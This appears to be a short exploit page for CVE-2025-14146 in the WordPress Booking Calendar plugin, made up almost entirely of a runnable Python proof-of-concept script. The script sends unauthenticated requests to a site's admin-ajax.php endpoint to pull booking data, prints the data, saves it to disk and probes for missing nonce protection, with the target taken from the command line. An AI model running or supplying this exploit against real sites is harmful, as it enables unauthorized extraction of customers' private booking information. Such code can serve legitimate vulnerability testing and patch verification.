CVE-2025-14146 WordPress Booking Calendar 敏感信息泄露漏洞

#!/usr/bin/env python3 """ CVE-2025-14146 PoC - WordPress Booking Calendar Sensitive Information Exposure This PoC demonstrates how an unauthenticated attacker can extract sensitive booking data from WordPress sites running the Booking Calendar plugin <= 10.14.10 """ import requests import json import sys def exploit_booking_calendar(target_url): """ Exploit the WPBC_FLEXTIMELINE_NAV AJAX action to extract sensitive booking information """ # Target AJAX endpoint ajax_url = f"{target_url.rstrip('/')}/wp-admin/admin-ajax.php" # Construct the malicious request # The vulnerability allows unauthenticated access to booking data payload = { 'action': 'WPBC_FLEXTIMELINE_NAV', 'booking_model': 'calendar', # or 'timeline' 'dates': '2025-01-01,2025-12-31', # Date range to query 'wh_booking_id': '0', 'wh_approved': '1', 'wh_is_new': '1', 'cost_pay': '0', 'summed_cost': '0' } headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } print(f"[*] Targeting: {target_url}") print(f"[*] Exploiting: {ajax_url}") print("[*] Sending malicious request to extract booking data...") try: response = requests.post(ajax_url, data=payload, headers=headers, timeout=30) if response.status_code == 200: print(f"[+] Request successful (Status: {response.status_code})") print(f"[+] Response length: {len(response.text)} bytes") # Check if we received booking data if 'booking' in response.text.lower() or 'cost' in response.text.lower(): print("[!] VULNERABLE - Sensitive booking data may have been exposed!") print(f"\n[+] Sample response (first 1000 chars):\n{response.text[:1000]}") # Save full response with open('cve_2025_14146_response.txt', 'w') as f: f.write(response.text) print("[*] Full response saved to cve_2025_14146_response.txt") return True else: print("[-] No obvious booking data in response") print(f"[*] Response preview: {response.text[:500]}") else: print(f"[-] Request failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False return False def check_nonce_protection(target_url): """ Check if the nonce protection is enabled (should return 403 if protected) """ ajax_url = f"{target_url.rstrip('/')}/wp-admin/admin-ajax.php" # Send request without valid nonce payload = { 'action': 'WPBC_FLEXTIMELINE_NAV', 'security': 'invalid_nonce_here' } try: response = requests.post(ajax_url, data=payload, timeout=10) if response.status_code == 403: print("[*] Nonce protection appears to be ENABLED") return True else: print("[!] Nonce protection appears to be DISABLED (vulnerable)") return False except: return None if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve_2025_14146_poc.py <target_url>") print("Example: python cve_2025_14146_poc.py http://example.com") sys.exit(1) target = sys.argv[1] exploit_booking_calendar(target)